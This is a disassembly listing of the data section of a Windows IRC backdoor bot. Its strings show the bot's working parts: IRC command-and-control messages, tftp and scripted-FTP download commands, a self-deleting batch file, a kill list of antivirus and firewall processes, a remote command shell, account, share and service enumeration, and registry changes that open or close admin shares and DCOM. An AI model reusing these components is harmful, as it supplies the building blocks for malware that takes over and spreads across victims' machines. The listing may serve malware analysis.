a5u db '5u',0 ; DATA XREF: .data:0044F3D4o
align 4
a6u db '6u',0 ; DATA XREF: .data:0044F3D8o
align 10h
; char asc_44FBC0[]
asc_44FBC0 db 0Ah,0 ; DATA XREF: sub_4182F9+6o
align 4
; char asc_44FBC4[]
asc_44FBC4 db ' ',0 ; DATA XREF: sub_418340+Co
align 4
; char asc_44FBC8[]
asc_44FBC8 db ' ',0 ; DATA XREF: sub_418340:loc_418366o
align 4
; char aPing_1[]
aPing_1 db 'PING',0 ; DATA XREF: sub_418340+52o
align 4
aPongS_0 db 'PONG %s',0Ah,0 ; DATA XREF: sub_418340+63o
align 10h
; char a433[]
a433 db '433',0 ; DATA XREF: sub_418340:loc_4183AAo
; char a432[]
a432 db '432',0 ; DATA XREF: sub_418340+7Bo
; char aNickS_9[]
aNickS_9 db 'NICK %s',0Ah,0 ; DATA XREF: sub_418340+B3o
align 4
; char aNickSUserSHotm[]
aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_41842D+9Bo
db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
align 4
; char a__3[]
a__3 db '-|`_\{[]}',0 ; DATA XREF: sub_418650+BCo
; sub_418650+175r ...
align 10h
dword_44FC30 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: .text:00418B3Do
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_44FC7C dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: .text:00418B7Co
dword_44FC98 dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0
; DATA XREF: .text:00418BB1o
dword_44FCAC dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: .text:00418BD8o
; char aSErrorSD_[]
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418E65+72o
align 4
aMirc_2 db 'mIRC',0 ; DATA XREF: sub_418F2A+5o
align 4
aMirc_3 db 'mIRC',0 ; DATA XREF: sub_418F2A+18o
align 4
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_418FAF+1Co
align 4
aSS_11 db '%s %s',0 ; DATA XREF: .text:00419098o
align 4
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_4190D4+2o
; char aSdel_bat[]
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_4190F6+48o
align 4
; char a[]
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_4190F6+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
; char aComspecCSS[]
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4190F6+140o
align 4
; char asc_44FD78[]
asc_44FD78 db '-' ; DATA XREF: sub_41927E+5Co
db 3, 34h, 2
dd 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h, 65726165h
dd 64h
unk_44FD94 db 2Dh ; - ; DATA XREF: sub_41927E+8Fo
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedWithErro db '- failed with error code %d',0
align 4
; char asc_44FDBC[]
asc_44FDBC db '-' ; DATA XREF: sub_41927E+9Co
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aOperatingSyste db '- operating system is not supported',0
align 4
aTftpISGetSS db 'tftp -i %s get %s &%s',0Dh,0Ah,0 ; DATA XREF: .text:004193DEo
aEchoOpenSDOE_0 db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
; DATA XREF: .text:00419407o
db 'it >> o &ftp -n -s:o &%s',0Dh,0Ah,0
aNetapi32_dll_0 db 'netapi32.dll',0 ; DATA XREF: sub_419471+58o
align 10h
aNetmessagebu_0 db 'NetMessageBufferSend',0 ; DATA XREF: sub_419471+65o
align 4
off_44FE88 dd offset dword_44FEDC ; DATA XREF: sub_41958E+60r
; sub_419965+51r ...
off_44FE8C dd offset aAdded ; DATA XREF: sub_41958E+2Dr
; sub_419965+83r ...
; "Added"
dword_44FE90 dd 0 ; DATA XREF: sub_41958E+18r
dd offset aDelete_1 ; "Delete"
dd offset aDeleted ; "Deleted"
align 10h
dd offset aList_1 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 8
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1
dd offset aPause_0 ; "Pause"
dd offset aPaused_0 ; "Paused"
dd 2
dd offset aContinue_0 ; "Continue"
dd offset aContinued ; "Continued"
dd 3
dword_44FEDC dd 646441h ; DATA XREF: .data:off_44FE88o
aAdded db 'Added',0 ; DATA XREF: .data:off_44FE8Co
align 4
aDelete_1 db 'Delete',0 ; DATA XREF: .data:0044FE94o
align 10h
aDeleted db 'Deleted',0 ; DATA XREF: .data:0044FE98o
aList_1 db 'List',0 ; DATA XREF: .data:0044FEA0o
align 10h
aListed db 'Listed',0 ; DATA XREF: .data:0044FEA4o
align 4
aStart_0 db 'Start',0 ; DATA XREF: .data:0044FEACo
align 10h
aStarted db 'Started',0 ; DATA XREF: .data:0044FEB0o
aStop_0 db 'Stop',0 ; DATA XREF: .data:0044FEB8o
align 10h
aStopped_0 db 'Stopped',0 ; DATA XREF: .data:0044FEBCo
aPause_0 db 'Pause',0 ; DATA XREF: .data:0044FEC4o
align 10h
aPaused_0 db 'Paused',0 ; DATA XREF: .data:0044FEC8o
align 4
aContinue_0 db 'Continue',0 ; DATA XREF: .data:0044FED0o
align 4
aContinued db 'Continued',0 ; DATA XREF: .data:0044FED4o
align 10h
; char asc_44FF50[]
asc_44FF50 db '-' ; DATA XREF: sub_41958E+33o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSServiceS db '- %s service: ',27h,'%s',27h,0
unk_44FF6C db 2Dh ; - ; DATA XREF: sub_41958E+51o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0
align 4
; char asc_44FF98[]
asc_44FF98 db '-' ; DATA XREF: sub_41958E+67o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoServiceSpec db '- %s: no service specified',0
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_4196AA:loc_419783o
align 4
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_4196AA:loc_419704o
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_4196AA+3Co
align 10h
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_4196AA:loc_4196FAo
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_4196AA:loc_41970Eo
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_4196AA:loc_419758o
align 4
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_4196AA+8Fo
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_4196AA:loc_41978Ao
db 'marked for deletion.',0
align 4
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_4196AA:loc_419791o
align 4
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_4196AA:loc_419798o
align 4
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_4196AA:loc_41979Fo
align 10h
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_4196AA:loc_4197A6o
db ' correct access rights.',0
align 4
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_4196AA:loc_4197ADo
align 4
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_4196AA:loc_419743o
align 4
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_4196AA:loc_41974Ao
db 'tServiceCtrlDispatcher.',0
align 4
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_4196AA:loc_419718o
db 'dependent on it.',0
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_4196AA:loc_4196F0o
align 4
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_4196AA:loc_419751o
db ' the service.',0
align 4
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_4196AA:loc_4197B4o
db 'the state of the service.',0
align 10h
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_4196AA:loc_4197BBo
align 4
; char aTheSystemIsShu[]
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_4196AA:loc_4197C2o
align 4
; char aAnUnknownError[]
aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4196AA+12Co
align 4
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_419828+25o
align 4
; char aStopped[]
aStopped db ' Stopped',0 ; DATA XREF: sub_419828:loc_4198F4o
aStarting db ' Starting',0 ; DATA XREF: sub_419828:loc_4198EDo
aStoping db ' Stoping',0 ; DATA XREF: sub_419828:loc_4198E6o
aRunning db ' Running',0 ; DATA XREF: sub_419828:loc_4198DFo
aContinuing db ' Continuing',0 ; DATA XREF: sub_419828:loc_4198D8o
aPausing db ' Pausing',0 ; DATA XREF: sub_419828:loc_4198D1o
aPaused db ' Paused',0 ; DATA XREF: sub_419828:loc_4198CAo
aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_419828+9Bo
; char aSSS_2[]
aSSS_2 db '%s: %s (%s)',0 ; DATA XREF: sub_419828+EBo
; char asc_4504F4[]
asc_4504F4 db '-' ; DATA XREF: sub_419965+8Ao
db 3, 34h, 2
dd 274656Eh, 25202D03h, 68732073h, 3A657261h, 73252720h
dd 27h
; char asc_450510[]
asc_450510 db '-' ; DATA XREF: sub_419965+58o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0
align 4
; char asc_45053C[]
asc_45053C db '-' ; DATA XREF: sub_419965+ACo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoShareSpecif db '- %s: no share specified',0
align 10h
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_419B5B+26o
align 4
aYes db 'Yes',0 ; DATA XREF: sub_419B5B+B5o
aNo db 'No',0 ; DATA XREF: sub_419B5B+BCo
align 10h
; char a14s24s6u4s[]
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_419B5B+D0o
align 4
; char asc_4505B8[]
asc_4505B8 db '-' ; DATA XREF: sub_419B5B+76o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListError db '- share list error %s <%ld>',0
align 10h
; char asc_4505E0[]
asc_4505E0 db '-' ; DATA XREF: sub_419C7C+6Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSUsernameS db '- %s username: ',27h,'%s',27h,0
align 10h
; char asc_450600[]
asc_450600 db '-' ; DATA XREF: sub_419C7C+95o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0
align 10h
; char asc_450630[]
asc_450630 db '-' ; DATA XREF: sub_419C7C+B7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoUsernameSpe db '- %s: no username specified',0
align 4
; char aAccountS[]
aAccountS db 'Account: %S',0 ; DATA XREF: sub_419DC3+50o
; char aFullNameS[]
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_419DC3+84o
align 4
; char aUserCommentS[]
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_419DC3+AFo
align 4
; char aCommentS[]
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_419DC3+DAo
aGuest db 'Guest',0 ; DATA XREF: sub_419DC3:loc_419EE2o
align 4
aUser_3 db 'User',0 ; DATA XREF: sub_419DC3:loc_419EDBo
align 4
aAdministrator db 'Administrator',0 ; DATA XREF: sub_419DC3:loc_419ED4o
align 4
aUnknown_1 db 'Unknown',0 ; DATA XREF: sub_419DC3+10Ao
; char aPrivilegeLevel[]
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_419DC3+12Bo
; char aAuthFlagsD[]
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_419DC3+156o
align 10h
; char aHomeDirectoryS[]
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_419DC3+181o
align 4
; char aParametersS[]
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_419DC3+1ACo
align 4
; char aPasswordAgeD[]
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_419DC3+1D7o
align 4
; char aBadPasswordCou[]
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_419DC3+202o
align 10h
; char aNumberOfLogins[]
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_419DC3+22Do
align 4
; char aLastLogonD[]
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_419DC3+258o
align 4
; char aLastLogoffD[]
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_419DC3+283o
; char aLogonServerS[]
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_419DC3+2AEo
align 4
; char aWorkstationsS[]
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_419DC3+2D9o
align 10h
; char aCountryCodeD[]
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_419DC3+304o
align 4
; char aUserSLanguageD[]
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419DC3+32Fo
; char aMax_StorageD[]
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_419DC3+35Ao
align 4
; char aUnitsPerWeekD[]
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_419DC3+385o
align 10h
; char asc_4507E0[]
asc_4507E0 db '-' ; DATA XREF: sub_419DC3+3AFo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserInfoErrorL db '- user info error <%ld>',0
align 4
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_41A1AC+29o
; char asc_450828[]
asc_450828 db '-' ; DATA XREF: sub_41A1AC+F7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aAnAccessViolat db '- an access violation has occured',0
align 4
; char aS_30[]
aS_30 db ' %S',0 ; DATA XREF: sub_41A1AC+BEo
align 4
; char asc_45085C[]
asc_45085C db '-' ; DATA XREF: sub_41A1AC+7Ao
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListErrorS db '- user list error %s <%ld>',0
; char aTotalUsersFoun[]
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_41A1AC+14Fo
align 4
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_41A32C:loc_41A38Fo
align 4
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_41A32C:loc_41A3D0o
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_41A32C:loc_41A399o
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_41A32C+3Bo
align 10h
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_41A32C:loc_41A385o
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_41A32C:loc_41A37Bo
align 4
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_41A32C:loc_41A371o
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_41A32C:loc_41A43Bo
align 4
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_41A32C+89o
align 10h
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41A32C:loc_41A3BFo
align 4
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_41A32C:loc_41A3C9o
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_41A32C:loc_41A434o
align 4
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_41A32C+CFo
db ' the domain.',0
align 4
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_41A32C:loc_41A409o
align 4
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_41A32C:loc_41A402o
align 4
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_41A32C:loc_41A410o
db 'ord policy requirement.)',0
align 4
; char aNetworkConnect[]
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_41A32C:loc_41A449o
align 4
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_41A32C:loc_41A3D7o
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_41A32C:loc_41A442o
align 4
aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_41A32C:loc_41A42Do
align 4
; char asc_450B58[]
asc_450B58 db '-' ; DATA XREF: sub_41A460+81o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aMessageSentSuc db '- message sent successfully',0
align 10h
; char asc_450B80[]
asc_450B80 db '-' ; DATA XREF: sub_41A460+ABo
db 3, 34h, 2
dd 274656Eh, 25202D03h, 34032073h, 76726553h, 3A037265h
dd 20532520h, 654D3403h, 67617373h, 203A0365h, 5325h
dword_450BAC dd 7530h ; DATA XREF: sub_41A8E1+12r
off_450BB0 dd offset aRegedit_exe ; DATA XREF: sub_41A589+CBo
; "regedit.exe"
dd offset aMsconfig_exe ; "msconfig.exe"
dd offset aNetstat_exe ; "netstat.exe"
dd offset aMsblast_exe ; "msblast.exe"
dd offset aZapro_exe ; "zapro.exe"
dd offset aNavw32_exe ; "navw32.exe"
dd offset aNavapw32_exe ; "navapw32.exe"
dd offset aZonealarm_exe ; "zonealarm.exe"
dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
dd offset aPandaavengine_ ; "PandaAVEngine.exe"
dd offset aSysinfo_exe ; "sysinfo.exe"
dd offset aMscvb32_exe ; "mscvb32.exe"
dd offset aMsblast_exe_0 ; "MSBLAST.exe"
dd offset aTeekids_exe ; "teekids.exe"
dd offset aPenis32_exe ; "Penis32.exe"
dd offset aBbeagle_exe ; "bbeagle.exe"
dd offset aSysmonxp_exe ; "SysMonXP.exe"
dd offset aWinupd_exe ; "winupd.exe"
dd offset aWinsys_exe ; "winsys.exe"
dd offset aSsate_exe ; "ssate.exe"
dd offset aRate_exe ; "rate.exe"
dd offset aD3dupdate_exe ; "d3dupdate.exe"
dd offset aIrun4_exe ; "irun4.exe"
dd offset aI11r54n4_exe ; "i11r54n4.exe"
aRegedit_exe db 'regedit.exe',0 ; DATA XREF: sub_41A589+ECo
; .data:off_450BB0o
aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: .data:00450BB4o
align 4
aNetstat_exe db 'netstat.exe',0 ; DATA XREF: .data:00450BB8o
aMsblast_exe db 'msblast.exe',0 ; DATA XREF: .data:00450BBCo
aZapro_exe db 'zapro.exe',0 ; DATA XREF: .data:00450BC0o
align 10h
aNavw32_exe db 'navw32.exe',0 ; DATA XREF: .data:00450BC4o
align 4
aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: .data:00450BC8o
align 4
aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: .data:00450BCCo
align 4
aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: .data:00450BD0o
aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: .data:00450BD4o
align 4
aSysinfo_exe db 'sysinfo.exe',0 ; DATA XREF: .data:00450BD8o
aMscvb32_exe db 'mscvb32.exe',0 ; DATA XREF: .data:00450BDCo
aMsblast_exe_0 db 'MSBLAST.exe',0 ; DATA XREF: .data:00450BE0o
aTeekids_exe db 'teekids.exe',0 ; DATA XREF: .data:00450BE4o
aPenis32_exe db 'Penis32.exe',0 ; DATA XREF: .data:00450BE8o
aBbeagle_exe db 'bbeagle.exe',0 ; DATA XREF: .data:00450BECo
aSysmonxp_exe db 'SysMonXP.exe',0 ; DATA XREF: .data:00450BF0o
align 10h
aWinupd_exe db 'winupd.exe',0 ; DATA XREF: .data:00450BF4o
align 4
aWinsys_exe db 'winsys.exe',0 ; DATA XREF: .data:00450BF8o
align 4
aSsate_exe db 'ssate.exe',0 ; DATA XREF: .data:00450BFCo
align 4
aRate_exe db 'rate.exe',0 ; DATA XREF: .data:00450C00o
align 10h
aD3dupdate_exe db 'd3dupdate.exe',0 ; DATA XREF: .data:00450C04o
align 10h
aIrun4_exe db 'irun4.exe',0 ; DATA XREF: .data:00450C08o
align 4
aI11r54n4_exe db 'i11r54n4.exe',0 ; DATA XREF: .data:00450C0Co
align 4
aSedebugprivi_1 db 'SeDebugPrivilege',0 ; DATA XREF: sub_41A589+5Ao
align 10h
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_41A589+17Do
align 4
aSD_1 db ' %s (%d)',0 ; DATA XREF: sub_41A589+18Bo
align 4
; char aSD_2[]
aSD_2 db ' %s (%d)',0 ; DATA XREF: sub_41A589+19Fo
align 4
aSedebugprivi_2 db 'SeDebugPrivilege',0 ; DATA XREF: sub_41A589+207o
align 4
; char asc_450DA8[]
asc_450DA8 db '-' ; DATA XREF: sub_41A7CC+19o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aListingProcess db ' listing processes:',0
unk_450DC8 db 2Dh ; - ; DATA XREF: sub_41A7CC+80o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListCom db ' process list complete',0
align 4
; char asc_450DEC[]
asc_450DEC db '-' ; DATA XREF: sub_41A7CC:loc_41A853o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListFai db ' process list failed',0
align 10h
; char aPrivmsgSS_4[]
aPrivmsgSS_4 db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_41A969+33o
; char aS_31[]
aS_31 db '%s',0 ; DATA XREF: sub_41A969+4Co
align 4
unk_450E24 db 2Dh ; - ; DATA XREF: sub_41A9F0:loc_41AAD6o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotReadDa db '- Could not read data from proccess',0Dh,0Ah,0
align 4
unk_450E54 db 2Dh ; - ; DATA XREF: sub_41A9F0+10Fo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0
align 4
unk_450E7C db 2Dh ; - ; DATA XREF: sub_41A9F0:loc_41AB22o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotRead_0 db '- Could not read data from proccess.',0Dh,0Ah,0
aCmd_exe_0 db 'cmd.exe',0 ; DATA XREF: sub_41AB45+20o
; char asc_450EB4[]
asc_450EB4 db '-' ; DATA XREF: sub_41AB45+150o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteCommandP db '- Remote Command Prompt',0
align 4
; char asc_450ED8[]
asc_450ED8 db '-' ; DATA XREF: sub_41AB45+198o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0
align 10h
off_450F10 dd offset aIpc ; DATA XREF: sub_41AD5D+1B3o
; sub_41B081+179o
; "IPC$"
align 8
dd offset aAdmin_1 ; "ADMIN$"
align 10h
off_450F20 dd offset aC_5 ; DATA XREF: sub_41B081+1E1o
; "C$"
dd offset aC_6 ; "C:\\"
dd offset aD_3 ; "D$"
dd offset aD_4 ; "D:\\"
aIpc db 'IPC$',0 ; DATA XREF: sub_41AD5D+217o
; .data:off_450F10o
align 4
aAdmin_1 db 'ADMIN$',0 ; DATA XREF: .data:00450F18o
align 10h
aC_5 db 'C$',0 ; DATA XREF: .data:off_450F20o
align 4
aC_6 db 'C:\',0 ; DATA XREF: .data:00450F24o
aD_3 db 'D$',0 ; DATA XREF: .data:00450F28o
align 4
aD_4 db 'D:\',0 ; DATA XREF: .data:00450F2Co
word_450F50 dw 4Eh ; DATA XREF: sub_41AD5D+38r
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41AD5D+54o
align 10h
dword_450F60 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AD5D+66o
aDisableDcomFai db '- Disable DCOM failed.',0
align 4
; char asc_450F84[]
asc_450F84 db '-' ; DATA XREF: sub_41AD5D:loc_41ADCAo
db 3, 34h, 2
dd 75636573h, 3026572h, 4344202Dh, 64204D4Fh, 62617369h
dd 2E64656Ch, 0
; char asc_450FA4[]
asc_450FA4 db '-' ; DATA XREF: sub_41AD5D+91o
db 3, 34h, 2
dd 75636573h, 3026572h
aFailedToOpenDc db '- Failed to open DCOM registry key.',0
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41AD5D+EDo
align 4
dword_450FE8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AD5D+106o
aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0
align 4
; char asc_451024[]
asc_451024 db '-' ; DATA XREF: sub_41AD5D:loc_41AE6Ao
db 3, 34h, 2
dd 75636573h, 3026572h
aRestrictedAcce db '- Restricted access to the IPC$ Share.',0
align 4
dword_451058 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AD5D:loc_41AE88o
aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0
; char asc_451094[]
asc_451094 db '-' ; DATA XREF: sub_41AD5D:loc_41AE8Fo
db 3, 34h, 2
dd 75636573h, 3026572h
aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0
align 4
dword_4510C4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AD5D+25Bo
aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0
align 4
; char asc_4510E8[]
asc_4510E8 db '-' ; DATA XREF: sub_41AD5D:loc_41AFBFo
db 3, 34h, 2
dd 75636573h, 3026572h
aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0
align 4
dword_451114 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AD5D+1C8o
aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0
align 4
; char asc_451138[]
asc_451138 db '-' ; DATA XREF: sub_41AD5D:loc_41AF2Co
db 3, 34h, 2
dd 75636573h, 3026572h
aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0
align 4
; char asc_451164[]
asc_451164 db '-' ; DATA XREF: sub_41AD5D+2CFo
db 3, 34h, 2
dd 75636573h, 3026572h
aNetworkSharesD db '- Network shares deleted.',0
align 4
; char asc_45118C[]
asc_45118C db '-' ; DATA XREF: sub_41AD5D+2E5o
db 3, 34h, 2
dd 75636573h, 3026572h
aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0
align 4
word_4511BC dw 59h ; DATA XREF: sub_41B081+38r
align 10h
aEnabledcom_0 db 'EnableDCOM',0 ; DATA XREF: sub_41B081+54o
align 4
dword_4511CC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41B081+66o
aEnableDcomFail db '- Enable DCOM failed.',0
align 10h
; char asc_4511F0[]
asc_4511F0 db '-' ; DATA XREF: sub_41B081:loc_41B0EEo
db 3, 34h, 2
dd 75636573h, 3026572h, 4344202Dh, 65204D4Fh, 6C62616Eh
dd 2E6465h
; char asc_45120C[]
asc_45120C db '-' ; DATA XREF: sub_41B081+91o
db 3, 34h, 2
dd 75636573h, 3026572h
aFailedToOpen_1 db '- Failed to open DCOM registry key.',0
aRestrictanon_0 db 'restrictanonymous',0 ; DATA XREF: sub_41B081+EDo
align 10h
dword_451250 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41B081+102o
aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0
align 10h
; char asc_451290[]
asc_451290 db '-' ; DATA XREF: sub_41B081:loc_41B18Ao
db 3, 34h, 2
dd 75636573h, 3026572h
aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0
align 4
dword_4512C8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41B081:loc_41B1A8o
aFailedToOpen_2 db '- Failed to open IPC$ restriction registry key.',0
; char asc_451304[]
asc_451304 db '-' ; DATA XREF: sub_41B081:loc_41B1AFo
db 3, 34h, 2
dd 75636573h, 3026572h
aAdvapi32_dll_0 db '- Advapi32.dll couldn',27h,'t be loaded.',0
align 4
dword_451334 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41B081+192o
aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0
; char asc_451354[]
asc_451354 db '-' ; DATA XREF: sub_41B081:loc_41B21Ao
db 3, 34h, 2
dd 75636573h, 3026572h
aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0
; char aC_1[]
aC_1 db '%c$',0 ; DATA XREF: sub_41B081+216o
; char aC_0[]
aC_0 db '%c:\',0 ; DATA XREF: sub_41B081+22Do
align 4
dword_451388 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41B081+266o
